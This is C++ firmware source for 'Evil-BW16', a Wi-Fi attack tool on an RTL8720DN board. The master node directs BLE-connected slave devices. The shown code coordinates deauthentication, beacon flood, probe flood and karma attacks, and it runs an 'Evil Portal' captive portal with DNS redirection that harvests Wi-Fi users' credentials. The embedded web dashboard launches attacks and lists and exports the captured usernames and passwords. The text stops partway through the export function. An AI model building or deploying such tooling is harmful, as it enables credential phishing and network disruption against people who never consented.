2445 lines
104 KiB
C++
2445 lines
104 KiB
C++
#define ROLE_MASTER
|
|
#include "Evil-BW16/BW16_defs.h"
|
|
|
|
#undef max
|
|
#undef min
|
|
#include <Arduino.h>
|
|
#include <vector>
|
|
#include <string.h>
|
|
#include <wifi_conf.h>
|
|
#include <wifi_util.h>
|
|
#include <wifi_structures.h>
|
|
#include <WiFi.h>
|
|
#include <BLEDevice.h>
|
|
#include <WebServer.h>
|
|
#include <ArduinoJson.h>
|
|
#include <WiFiUdp.h>
|
|
#include <DNSServer.h>
|
|
// RTL8720DN platform includes
|
|
#include <FreeRTOS.h>
|
|
#include <rtl8721d.h>
|
|
|
|
// Platform-specific helper functions
|
|
uint32_t rtl_getFreeHeapSize() {
|
|
return xPortGetFreeHeapSize();
|
|
}
|
|
|
|
// Channel arrays definition
|
|
const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13};
|
|
const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT] = {36, 40, 44, 48, 52, 56, 60, 64, 100, 104, 108, 112, 116, 120, 124, 128, 132, 136, 140, 144, 149, 153, 157, 161, 165};
|
|
|
|
// Enhanced slave data structure
|
|
struct Slave {
|
|
BLEClient* client;
|
|
BLERemoteCharacteristic* cmdChar;
|
|
BLERemoteCharacteristic* notifyChar;
|
|
String id;
|
|
String macAddress;
|
|
unsigned long lastSeen;
|
|
unsigned long lastReconnectAttempt;
|
|
bool isConnected;
|
|
int rssi;
|
|
uint8_t capabilities; // Bit flags for slave capabilities
|
|
String firmwareVersion;
|
|
};
|
|
|
|
// Global state management
|
|
std::vector<Slave> slaves;
|
|
std::vector<String> apList;
|
|
std::vector<String> capturedCredentials;
|
|
|
|
// Dual-band web servers
|
|
WebServer server(80); // 2.4GHz management interface
|
|
WebServer portalServer(80); // 5GHz portal interface
|
|
DNSServer dnsServer; // DNS server for captive portal
|
|
|
|
// Portal configuration
|
|
String portalSSID = PORTAL_DEFAULT_SSID;
|
|
String portalPassword = "";
|
|
bool portalEnabled = false;
|
|
bool dualBandActive = false;
|
|
|
|
// Attack coordination
|
|
struct AttackSession {
|
|
String type;
|
|
std::vector<String> targetSlaves;
|
|
std::vector<String> targetAPs;
|
|
unsigned long startTime;
|
|
unsigned long duration;
|
|
bool isActive;
|
|
int intensity;
|
|
int framesTransmitted;
|
|
int targetsHit;
|
|
};
|
|
AttackSession currentAttack;
|
|
|
|
// Comprehensive Statistics System
|
|
struct SystemStats {
|
|
// System uptime and performance
|
|
unsigned long systemStartTime;
|
|
unsigned long totalUptime;
|
|
int systemRestarts;
|
|
float cpuUsage;
|
|
int freeHeapMemory;
|
|
int maxHeapUsage;
|
|
|
|
// BLE Communication stats
|
|
int bleConnectionAttempts;
|
|
int bleConnectionSuccesses;
|
|
int bleConnectionFailures;
|
|
int bleReconnections;
|
|
int totalBleMessages;
|
|
int bleTimeouts;
|
|
float avgBleLatency;
|
|
|
|
// Portal statistics
|
|
int portalSessions;
|
|
int portalVisitors;
|
|
int credentialsCaptured;
|
|
int dnsQueries;
|
|
int portalRedirects;
|
|
unsigned long portalUptime;
|
|
|
|
// Attack statistics
|
|
int totalAttacksLaunched;
|
|
int deauthAttacks;
|
|
int beaconFloodAttacks;
|
|
int probeFloodAttacks;
|
|
int karmaAttacks;
|
|
int distributedAttacks;
|
|
int successfulTargets;
|
|
int framesTransmitted;
|
|
float avgAttackDuration;
|
|
|
|
// Network statistics
|
|
int networksScanned;
|
|
int uniqueNetworksFound;
|
|
int networksTargeted;
|
|
int channels2ghzUsed;
|
|
int channels5ghzUsed;
|
|
float signalStrengthAvg;
|
|
|
|
// Slave performance
|
|
int slavesConnected;
|
|
int slavesMax;
|
|
int commandsSent;
|
|
int commandsSuccessful;
|
|
int commandsFailed;
|
|
float slaveResponseTime;
|
|
};
|
|
|
|
SystemStats globalStats = {0};
|
|
|
|
// Real-time metrics for live monitoring
|
|
struct LiveMetrics {
|
|
float attacksPerMinute;
|
|
float credentialsPerHour;
|
|
float dataTransferRate;
|
|
int currentCpuLoad;
|
|
int activeConnections;
|
|
float networkScanRate;
|
|
unsigned long lastUpdate;
|
|
};
|
|
LiveMetrics liveMetrics = {0};
|
|
|
|
// Forward declarations for HTTP handlers
|
|
void handleRoot();
|
|
void handleStatus();
|
|
void handleCmd();
|
|
void handleLogs();
|
|
void handleApList();
|
|
void handlePortalRequest(); // Generic handler for captive portal
|
|
void handlePortalLogin();
|
|
|
|
// Evil Portal
|
|
void startEvilPortal();
|
|
void stopEvilPortal();
|
|
void processDnsRequest();
|
|
|
|
// A circular buffer to store the global log
|
|
#define MY_LOG_BUFFER_SIZE 50
|
|
String logBuffer[MY_LOG_BUFFER_SIZE];
|
|
int logBufferIndex = 0;
|
|
int logCount = 0;
|
|
int lastLogSentIndex = -1;
|
|
|
|
//// *** Logging *** ////
|
|
void addToLog(String message) {
|
|
logBuffer[logBufferIndex] = message;
|
|
logBufferIndex = (logBufferIndex + 1) % MY_LOG_BUFFER_SIZE;
|
|
if (logCount < MY_LOG_BUFFER_SIZE) logCount++;
|
|
Serial.println(message); // Also print to local serial
|
|
}
|
|
|
|
//// *** Enhanced BLE Callbacks & Connection Logic *** ////
|
|
void bleAdvertCallback(BLEAdvertisedDevice dev) {
|
|
// Only connect to Evil-BW16 slave devices
|
|
if (dev.getServiceUUID() == BLEUUID(SERVICE_UUID) && slaves.size() < MAX_SLAVES) {
|
|
String deviceAddr = dev.getAddress().toString();
|
|
addToLog("Found Evil-BW16 slave: " + deviceAddr + " (RSSI: " + String(dev.getRSSI()) + ")");
|
|
|
|
// Check if already tracking this slave
|
|
bool already_exists = false;
|
|
for (auto &s : slaves) {
|
|
if (s.id == deviceAddr) {
|
|
already_exists = true;
|
|
s.rssi = dev.getRSSI(); // Update RSSI
|
|
if (!s.isConnected && (millis() - s.lastReconnectAttempt > BLE_RECONNECT_INTERVAL_MS)) {
|
|
// Attempt reconnection
|
|
addToLog("Attempting to reconnect to " + deviceAddr);
|
|
connectToSlave(s, dev);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
|
|
if (!already_exists) {
|
|
// Create new slave entry and attempt connection
|
|
Slave newSlave = {
|
|
nullptr, nullptr, nullptr,
|
|
deviceAddr, deviceAddr, millis(), 0,
|
|
false, dev.getRSSI(), 0x00, "unknown"
|
|
};
|
|
slaves.push_back(newSlave);
|
|
connectToSlave(slaves.back(), dev);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Enhanced connection function with better error handling
|
|
bool connectToSlave(Slave &slave, BLEAdvertisedDevice dev) {
|
|
slave.lastReconnectAttempt = millis();
|
|
|
|
addToLog("Connecting to slave: " + slave.id);
|
|
|
|
// Clean up any existing connection first
|
|
if (slave.client) {
|
|
slave.client->disconnect();
|
|
delete slave.client;
|
|
slave.client = nullptr;
|
|
slave.cmdChar = nullptr;
|
|
slave.notifyChar = nullptr;
|
|
}
|
|
|
|
BLEClient* client = BLE.connect(dev);
|
|
|
|
if (client) {
|
|
// Set connection timeout
|
|
client->setConnectTimeout(BLE_CONNECTION_TIMEOUT_MS);
|
|
|
|
try {
|
|
if (client->discoverService(SERVICE_UUID)) {
|
|
BLERemoteService* svc = client->getService(SERVICE_UUID);
|
|
if (svc) {
|
|
BLERemoteCharacteristic* cmd = svc->getCharacteristic(CMD_CHAR_UUID);
|
|
BLERemoteCharacteristic* notify = svc->getCharacteristic(NOTIFY_CHAR_UUID);
|
|
|
|
if (cmd && notify) {
|
|
// Set up notification callback with error checking
|
|
if (notify->subscribe(true)) {
|
|
notify->setNotifyCallback(detectionNotifyCallback);
|
|
|
|
// Update slave structure
|
|
slave.client = client;
|
|
slave.cmdChar = cmd;
|
|
slave.notifyChar = notify;
|
|
slave.isConnected = true;
|
|
slave.lastSeen = millis();
|
|
|
|
// Request slave capabilities and firmware version
|
|
sendCommandToSlave(slave, "get_info");
|
|
|
|
// Update statistics
|
|
updateStats_BleConnection(true);
|
|
addToLog("Successfully connected to slave: " + slave.id);
|
|
return true;
|
|
} else {
|
|
addToLog("Failed to subscribe to notifications on " + slave.id);
|
|
}
|
|
} else {
|
|
addToLog("Failed to find characteristics on " + slave.id);
|
|
}
|
|
} else {
|
|
addToLog("Failed to find service on " + slave.id);
|
|
}
|
|
} else {
|
|
addToLog("Failed to discover services on " + slave.id);
|
|
}
|
|
} catch (...) {
|
|
addToLog("Exception during BLE connection to " + slave.id);
|
|
}
|
|
|
|
// Clean up failed connection
|
|
client->disconnect();
|
|
delete client;
|
|
} else {
|
|
addToLog("Failed to establish BLE connection to " + slave.id);
|
|
}
|
|
|
|
// Update statistics for failed connection
|
|
updateStats_BleConnection(false);
|
|
slave.isConnected = false;
|
|
slave.client = nullptr;
|
|
slave.cmdChar = nullptr;
|
|
slave.notifyChar = nullptr;
|
|
return false;
|
|
}
|
|
|
|
// Helper function to check if targets array contains a specific ID
|
|
bool containsTarget(JsonArray &targets, const String &id) {
|
|
for (JsonVariant target : targets) {
|
|
if (target.as<String>() == id) {
|
|
return true;
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
|
|
// Helper function to send commands to specific slaves
|
|
bool sendCommandToSlave(Slave &slave, const String &command) {
|
|
if (slave.isConnected && slave.cmdChar) {
|
|
try {
|
|
slave.cmdChar->writeValue(command.c_str(), command.length());
|
|
slave.lastSeen = millis();
|
|
globalStats.totalBleMessages++;
|
|
updateStats_Command(true);
|
|
return true;
|
|
} catch (...) {
|
|
addToLog("Failed to send command to " + slave.id);
|
|
slave.isConnected = false;
|
|
updateStats_Command(false);
|
|
}
|
|
}
|
|
updateStats_Command(false);
|
|
return false;
|
|
}
|
|
|
|
// Called when a slave sends a notification
|
|
void detectionNotifyCallback(BLERemoteCharacteristic* chr, uint8_t* data, uint16_t len) {
|
|
String fromAddr = "Unknown";
|
|
for(auto &s : slaves) {
|
|
if (s.notifyChar == chr) {
|
|
fromAddr = s.id;
|
|
s.lastSeen = millis(); // Update last seen time
|
|
break;
|
|
}
|
|
}
|
|
|
|
String msg;
|
|
if (len > 0) {
|
|
char buf[len + 1];
|
|
memcpy(buf, data, len);
|
|
buf[len] = '\0';
|
|
msg = String(buf);
|
|
}
|
|
|
|
if (msg.startsWith("AP_SCAN_RESULT:")) {
|
|
apList.push_back(msg.substring(15));
|
|
} else {
|
|
addToLog("[" + fromAddr + "]: " + msg);
|
|
}
|
|
}
|
|
|
|
//// *** Web Server Handlers *** ////
|
|
// Enhanced file system implementation for RTL8720DN
|
|
String loadWebFile(const String &filename) {
|
|
// Try to load from filesystem first (SPIFFS/LittleFS)
|
|
String content = loadFromFilesystem(filename);
|
|
if (content.length() > 0) {
|
|
return content;
|
|
}
|
|
|
|
// Fallback to embedded content if filesystem not available
|
|
if (filename == "/index.html" || filename == "/") {
|
|
return loadAdvancedWebUI();
|
|
}
|
|
|
|
if (filename == "/style.css") {
|
|
return loadCSSFile();
|
|
}
|
|
|
|
if (filename == "/script.js") {
|
|
return loadJSFile();
|
|
}
|
|
|
|
return "";
|
|
}
|
|
|
|
// Load file from filesystem (SPIFFS/LittleFS)
|
|
String loadFromFilesystem(const String &filename) {
|
|
// This function will be implemented based on available filesystem library
|
|
// For RTL8720DN, we need to check what filesystem support is available
|
|
|
|
// Placeholder implementation - replace with actual filesystem code
|
|
if (filename == "/index.html" || filename == "/") {
|
|
// Try to read from SPIFFS/LittleFS
|
|
// File file = SPIFFS.open("/web_ui/index.html", "r");
|
|
// if (file) {
|
|
// String content = file.readString();
|
|
// file.close();
|
|
// return content;
|
|
// }
|
|
|
|
// For now, return empty to use embedded fallback
|
|
return "";
|
|
}
|
|
|
|
return "";
|
|
}
|
|
|
|
// Load the advanced web UI content
|
|
String loadAdvancedWebUI() {
|
|
// This would normally read from SPIFFS/LittleFS
|
|
// For now, we'll embed the advanced UI content
|
|
return getAdvancedWebUIContent();
|
|
}
|
|
|
|
// Load CSS file content
|
|
String loadCSSFile() {
|
|
// Return the CSS styles for the advanced UI
|
|
return R"(
|
|
:root {
|
|
--primary-green: #00ff41;
|
|
--primary-red: #ff004f;
|
|
--bg-dark: #0d0d0d;
|
|
--bg-card: #1a1a1a;
|
|
--bg-secondary: #111;
|
|
--border-color: #333;
|
|
--text-primary: #00ff41;
|
|
--text-secondary: #aaa;
|
|
--warning: #ff6666;
|
|
--success: #44ff44;
|
|
--info: #4444ff;
|
|
}
|
|
|
|
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
|
|
body {
|
|
font-family: 'Courier New', monospace;
|
|
background: var(--bg-dark);
|
|
color: var(--text-primary);
|
|
line-height: 1.4;
|
|
overflow-x: hidden;
|
|
}
|
|
|
|
.header {
|
|
background: linear-gradient(135deg, var(--bg-card), var(--bg-secondary));
|
|
padding: 20px;
|
|
border-bottom: 2px solid var(--primary-red);
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
flex-wrap: wrap;
|
|
}
|
|
|
|
.logo h1 {
|
|
color: var(--primary-red);
|
|
font-size: 24px;
|
|
text-shadow: 0 0 10px var(--primary-red);
|
|
animation: glow 2s infinite alternate;
|
|
}
|
|
|
|
@keyframes glow {
|
|
from { text-shadow: 0 0 5px var(--primary-red); }
|
|
to { text-shadow: 0 0 15px var(--primary-red); }
|
|
}
|
|
|
|
.system-status {
|
|
display: flex;
|
|
gap: 20px;
|
|
flex-wrap: wrap;
|
|
}
|
|
|
|
.status-item {
|
|
text-align: center;
|
|
padding: 10px;
|
|
background: var(--bg-secondary);
|
|
border: 1px solid var(--border-color);
|
|
border-radius: 5px;
|
|
min-width: 80px;
|
|
}
|
|
|
|
.status-value {
|
|
font-size: 18px;
|
|
font-weight: bold;
|
|
color: var(--success);
|
|
}
|
|
|
|
.status-label {
|
|
font-size: 12px;
|
|
color: var(--text-secondary);
|
|
}
|
|
|
|
.nav-container {
|
|
background: var(--bg-card);
|
|
border-bottom: 1px solid var(--border-color);
|
|
overflow-x: auto;
|
|
}
|
|
|
|
.nav {
|
|
display: flex;
|
|
min-width: 800px;
|
|
}
|
|
|
|
.nav-tab {
|
|
background: transparent;
|
|
border: none;
|
|
color: var(--text-primary);
|
|
padding: 15px 20px;
|
|
cursor: pointer;
|
|
border-bottom: 3px solid transparent;
|
|
transition: all 0.3s;
|
|
white-space: nowrap;
|
|
font-family: inherit;
|
|
}
|
|
|
|
.nav-tab:hover {
|
|
background: var(--bg-secondary);
|
|
border-bottom-color: var(--primary-green);
|
|
}
|
|
|
|
.nav-tab.active {
|
|
background: var(--bg-secondary);
|
|
border-bottom-color: var(--primary-red);
|
|
color: white;
|
|
}
|
|
|
|
.container {
|
|
display: grid;
|
|
grid-template-columns: 1fr;
|
|
gap: 20px;
|
|
padding: 20px;
|
|
max-width: 1400px;
|
|
margin: 0 auto;
|
|
}
|
|
|
|
.grid-2 {
|
|
display: grid;
|
|
grid-template-columns: 1fr 1fr;
|
|
gap: 20px;
|
|
}
|
|
|
|
.grid-3 {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
|
|
gap: 20px;
|
|
}
|
|
|
|
.card {
|
|
background: var(--bg-card);
|
|
border: 1px solid var(--border-color);
|
|
border-radius: 8px;
|
|
padding: 20px;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.card:hover {
|
|
border-color: var(--primary-green);
|
|
box-shadow: 0 0 15px rgba(0, 255, 65, 0.1);
|
|
}
|
|
|
|
.card-header {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
margin-bottom: 15px;
|
|
padding-bottom: 10px;
|
|
border-bottom: 1px solid var(--border-color);
|
|
}
|
|
|
|
.card-title {
|
|
color: var(--primary-red);
|
|
font-size: 18px;
|
|
font-weight: bold;
|
|
}
|
|
|
|
.card-badge {
|
|
background: var(--primary-red);
|
|
color: white;
|
|
padding: 4px 8px;
|
|
border-radius: 12px;
|
|
font-size: 12px;
|
|
}
|
|
|
|
button {
|
|
background: var(--bg-secondary);
|
|
color: var(--text-primary);
|
|
border: 1px solid var(--primary-green);
|
|
padding: 10px 15px;
|
|
margin: 5px;
|
|
cursor: pointer;
|
|
font-family: inherit;
|
|
border-radius: 4px;
|
|
transition: all 0.3s;
|
|
font-size: 14px;
|
|
}
|
|
|
|
button:hover {
|
|
background: var(--primary-green);
|
|
color: var(--bg-dark);
|
|
transform: translateY(-1px);
|
|
box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3);
|
|
}
|
|
|
|
.btn-attack {
|
|
border-color: var(--warning);
|
|
color: var(--warning);
|
|
}
|
|
|
|
.btn-attack:hover {
|
|
background: var(--warning);
|
|
color: white;
|
|
}
|
|
|
|
.btn-danger {
|
|
border-color: var(--primary-red);
|
|
color: var(--primary-red);
|
|
}
|
|
|
|
.btn-danger:hover {
|
|
background: var(--primary-red);
|
|
color: white;
|
|
}
|
|
|
|
.btn-success {
|
|
border-color: var(--success);
|
|
color: var(--success);
|
|
}
|
|
|
|
.btn-success:hover {
|
|
background: var(--success);
|
|
color: var(--bg-dark);
|
|
}
|
|
|
|
input, select {
|
|
background: var(--bg-secondary);
|
|
color: var(--text-primary);
|
|
border: 1px solid var(--border-color);
|
|
padding: 10px;
|
|
font-family: inherit;
|
|
border-radius: 4px;
|
|
margin: 5px;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
input:focus, select:focus {
|
|
outline: none;
|
|
border-color: var(--primary-green);
|
|
box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2);
|
|
}
|
|
|
|
.stats-grid {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
|
gap: 15px;
|
|
margin: 20px 0;
|
|
}
|
|
|
|
.stat-card {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
border-radius: 6px;
|
|
border-left: 4px solid var(--primary-green);
|
|
text-align: center;
|
|
}
|
|
|
|
.stat-value {
|
|
font-size: 24px;
|
|
font-weight: bold;
|
|
color: var(--success);
|
|
display: block;
|
|
}
|
|
|
|
.stat-label {
|
|
font-size: 12px;
|
|
color: var(--text-secondary);
|
|
margin-top: 5px;
|
|
}
|
|
|
|
.chart-container {
|
|
position: relative;
|
|
height: 300px;
|
|
margin: 20px 0;
|
|
}
|
|
|
|
#terminal {
|
|
background: var(--bg-dark);
|
|
height: 300px;
|
|
overflow-y: auto;
|
|
padding: 15px;
|
|
border: 1px solid var(--border-color);
|
|
white-space: pre-wrap;
|
|
font-size: 12px;
|
|
border-radius: 4px;
|
|
}
|
|
|
|
.slave-grid {
|
|
display: grid;
|
|
grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
|
|
gap: 15px;
|
|
margin: 15px 0;
|
|
}
|
|
|
|
.slave-card {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
border-radius: 6px;
|
|
border: 1px solid var(--border-color);
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.slave-card.online {
|
|
border-left: 4px solid var(--success);
|
|
}
|
|
|
|
.slave-card.offline {
|
|
border-left: 4px solid var(--warning);
|
|
opacity: 0.7;
|
|
}
|
|
|
|
.slave-header {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
margin-bottom: 10px;
|
|
}
|
|
|
|
.slave-id {
|
|
font-weight: bold;
|
|
color: var(--text-primary);
|
|
}
|
|
|
|
.slave-status {
|
|
padding: 2px 6px;
|
|
border-radius: 10px;
|
|
font-size: 10px;
|
|
text-transform: uppercase;
|
|
}
|
|
|
|
.status-online {
|
|
background: var(--success);
|
|
color: var(--bg-dark);
|
|
}
|
|
|
|
.status-offline {
|
|
background: var(--warning);
|
|
color: white;
|
|
}
|
|
|
|
.network-list {
|
|
max-height: 400px;
|
|
overflow-y: auto;
|
|
}
|
|
|
|
.network-item {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
align-items: center;
|
|
padding: 10px;
|
|
border-bottom: 1px solid var(--border-color);
|
|
cursor: pointer;
|
|
transition: all 0.3s;
|
|
}
|
|
|
|
.network-item:hover {
|
|
background: var(--bg-secondary);
|
|
border-left: 3px solid var(--primary-green);
|
|
}
|
|
|
|
.credential-item {
|
|
background: var(--bg-secondary);
|
|
padding: 15px;
|
|
margin: 10px 0;
|
|
border-left: 3px solid var(--primary-red);
|
|
border-radius: 4px;
|
|
font-family: monospace;
|
|
font-size: 12px;
|
|
word-break: break-all;
|
|
}
|
|
|
|
.tab-content {
|
|
display: none;
|
|
}
|
|
|
|
.tab-content.active {
|
|
display: block;
|
|
}
|
|
|
|
@media (max-width: 768px) {
|
|
.grid-2, .grid-3 {
|
|
grid-template-columns: 1fr;
|
|
}
|
|
|
|
.header {
|
|
flex-direction: column;
|
|
gap: 15px;
|
|
}
|
|
}
|
|
)";
|
|
}
|
|
|
|
// Load JavaScript file content
|
|
String loadJSFile() {
|
|
// Return the JavaScript functionality for the advanced UI
|
|
return R"(
|
|
let globalStats = {};
|
|
let charts = {};
|
|
|
|
// Tab Management
|
|
function openTab(evt, tabName) {
|
|
var tabContents = document.getElementsByClassName("tab-content");
|
|
for (var i = 0; i < tabContents.length; i++) {
|
|
tabContents[i].classList.remove("active");
|
|
}
|
|
|
|
var navTabs = document.getElementsByClassName("nav-tab");
|
|
for (var i = 0; i < navTabs.length; i++) {
|
|
navTabs[i].classList.remove("active");
|
|
}
|
|
|
|
document.getElementById(tabName).classList.add("active");
|
|
evt.currentTarget.classList.add("active");
|
|
|
|
// Load tab-specific content
|
|
if (tabName === 'analytics') loadAnalytics();
|
|
if (tabName === 'credentials') refreshCredentials();
|
|
if (tabName === 'cloning') updateApList();
|
|
}
|
|
|
|
// Statistics and Status Updates
|
|
function updateSystemStatus() {
|
|
fetch("/stats")
|
|
.then(response => response.json())
|
|
.then(stats => {
|
|
globalStats = stats;
|
|
updateHeaderStatus(stats);
|
|
updateDashboard(stats);
|
|
updateSlaveGrid(stats);
|
|
updateAttackStatus(stats);
|
|
updatePortalStats(stats);
|
|
})
|
|
.catch(error => console.error('Error fetching stats:', error));
|
|
}
|
|
|
|
function updateHeaderStatus(stats) {
|
|
document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0);
|
|
document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0;
|
|
document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0;
|
|
document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0;
|
|
}
|
|
|
|
function updateDashboard(stats) {
|
|
if (!document.getElementById('dashboard').classList.contains('active')) return;
|
|
|
|
// Live Statistics
|
|
const liveStatsHTML = `
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.live?.attacksPerMinute?.toFixed(1) || 0}</span>
|
|
<div class="stat-label">Attacks/Min</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.live?.credentialsPerHour?.toFixed(1) || 0}</span>
|
|
<div class="stat-label">Creds/Hour</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.system?.freeHeap || 0}</span>
|
|
<div class="stat-label">Free RAM (B)</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.ble?.successRate?.toFixed(1) || 0}%</span>
|
|
<div class="stat-label">BLE Success</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.network?.networksScanned || 0}</span>
|
|
<div class="stat-label">Networks Found</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.framesTransmitted || 0}</span>
|
|
<div class="stat-label">Frames Sent</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('liveStats').innerHTML = liveStatsHTML;
|
|
|
|
updateCharts(stats);
|
|
}
|
|
|
|
function updateSlaveGrid(stats) {
|
|
if (!stats.slaveDetails) return;
|
|
|
|
let slaveHTML = '';
|
|
stats.slaveDetails.forEach(slave => {
|
|
const statusClass = slave.connected ? 'online' : 'offline';
|
|
const statusText = slave.connected ? 'ONLINE' : 'OFFLINE';
|
|
const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000);
|
|
|
|
slaveHTML += `
|
|
<div class="slave-card ${statusClass}">
|
|
<div class="slave-header">
|
|
<div class="slave-id">${slave.id}</div>
|
|
<span class="slave-status status-${statusClass}">${statusText}</span>
|
|
</div>
|
|
<div style="font-size: 12px; color: var(--text-secondary);">
|
|
<div>RSSI: ${slave.rssi} dBm</div>
|
|
<div>Last Seen: ${lastSeen}s ago</div>
|
|
<div>Firmware: ${slave.firmware}</div>
|
|
<div>Uptime: ${formatUptime(slave.uptime)}</div>
|
|
</div>
|
|
<label style="display: flex; align-items: center; margin-top: 10px;">
|
|
<input type="checkbox" class="slave" value="${slave.id}" style="margin-right: 10px;">
|
|
Select for attacks
|
|
</label>
|
|
</div>
|
|
`;
|
|
});
|
|
|
|
document.getElementById('slaveGrid').innerHTML = slaveHTML || '<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';
|
|
document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`;
|
|
}
|
|
|
|
function updateAttackStatus(stats) {
|
|
const attackStatusHTML = `
|
|
<div class="stats-grid">
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.totalLaunched || 0}</span>
|
|
<div class="stat-label">Total Attacks</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.distributedAttacks || 0}</span>
|
|
<div class="stat-label">Distributed</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.deauthAttacks || 0}</span>
|
|
<div class="stat-label">Deauth</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${stats.attacks?.beaconFloods || 0}</span>
|
|
<div class="stat-label">Beacon Floods</div>
|
|
</div>
|
|
</div>
|
|
<div style="margin-top: 15px;">
|
|
<strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}%
|
|
</div>
|
|
`;
|
|
document.getElementById('attackStatus').innerHTML = attackStatusHTML;
|
|
}
|
|
|
|
function updatePortalStats(stats) {
|
|
const portal = stats.portal || {};
|
|
document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE';
|
|
|
|
const portalStatsHTML = `
|
|
<div class="stats-grid">
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.sessions || 0}</span>
|
|
<div class="stat-label">Sessions</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.visitors || 0}</span>
|
|
<div class="stat-label">Visitors</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.credentialsCaptured || 0}</span>
|
|
<div class="stat-label">Credentials</div>
|
|
</div>
|
|
<div class="stat-card">
|
|
<span class="stat-value">${portal.redirects || 0}</span>
|
|
<div class="stat-label">Redirects</div>
|
|
</div>
|
|
</div>
|
|
`;
|
|
document.getElementById('portalStats').innerHTML = portalStatsHTML;
|
|
}
|
|
|
|
function launchAttack(type) {
|
|
const targets = getSelectedSlaves();
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: type, targets: targets}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
showNotification('Attack launched: ' + type, 'success');
|
|
})
|
|
.catch(error => {
|
|
showNotification('Attack failed: ' + error, 'error');
|
|
});
|
|
}
|
|
|
|
function togglePortal() {
|
|
const ssid = document.getElementById('portalSSID').value;
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: 'enable_portal', targets: []}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
showNotification('Portal toggled', 'success');
|
|
})
|
|
.catch(error => {
|
|
showNotification('Portal toggle failed: ' + error, 'error');
|
|
});
|
|
}
|
|
|
|
function scanAPs() {
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: 'scan_aps', targets: []}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
showNotification('AP scan initiated', 'success');
|
|
})
|
|
.catch(error => {
|
|
showNotification('AP scan failed: ' + error, 'error');
|
|
});
|
|
}
|
|
|
|
function getSelectedSlaves() {
|
|
const selected = [];
|
|
document.querySelectorAll('.slave:checked').forEach(cb => {
|
|
selected.push(cb.value);
|
|
});
|
|
return selected;
|
|
}
|
|
|
|
function setTargets() {
|
|
const ssid = document.getElementById('targetSSID').value;
|
|
const channel = document.getElementById('targetChannel').value;
|
|
if (ssid || channel) {
|
|
fetch('/cmd', {
|
|
method: 'POST',
|
|
body: JSON.stringify({cmd: 'target ' + ssid + ' ' + channel, targets: []}),
|
|
headers: {'Content-Type': 'application/json'}
|
|
})
|
|
.then(() => {
|
|
showNotification('Targets set', 'success');
|
|
})
|
|
.catch(error => {
|
|
showNotification('Target setting failed: ' + error, 'error');
|
|
});
|
|
}
|
|
}
|
|
|
|
function refreshCredentials() {
|
|
fetch('/credentials')
|
|
.then(r => r.json())
|
|
.then(creds => {
|
|
let html = '';
|
|
creds.forEach(cred => {
|
|
html += `
|
|
<div class="credential-item">
|
|
<strong>SSID:</strong> ${cred.ssid}<br>
|
|
<strong>Username:</strong> ${cred.username}<br>
|
|
<strong>Password:</strong> ${cred.password}<br>
|
|
<strong>Time:</strong> ${new Date(cred.timestamp).toLocaleString()}
|
|
</div>
|
|
`;
|
|
});
|
|
document.getElementById('credentialsList').innerHTML = html || '<p>No credentials captured yet.</p>';
|
|
});
|
|
}
|
|
|
|
function exportCredentials() {
|
|
fetch('/credentials')
|
|
.then(r => r.json())
|
|
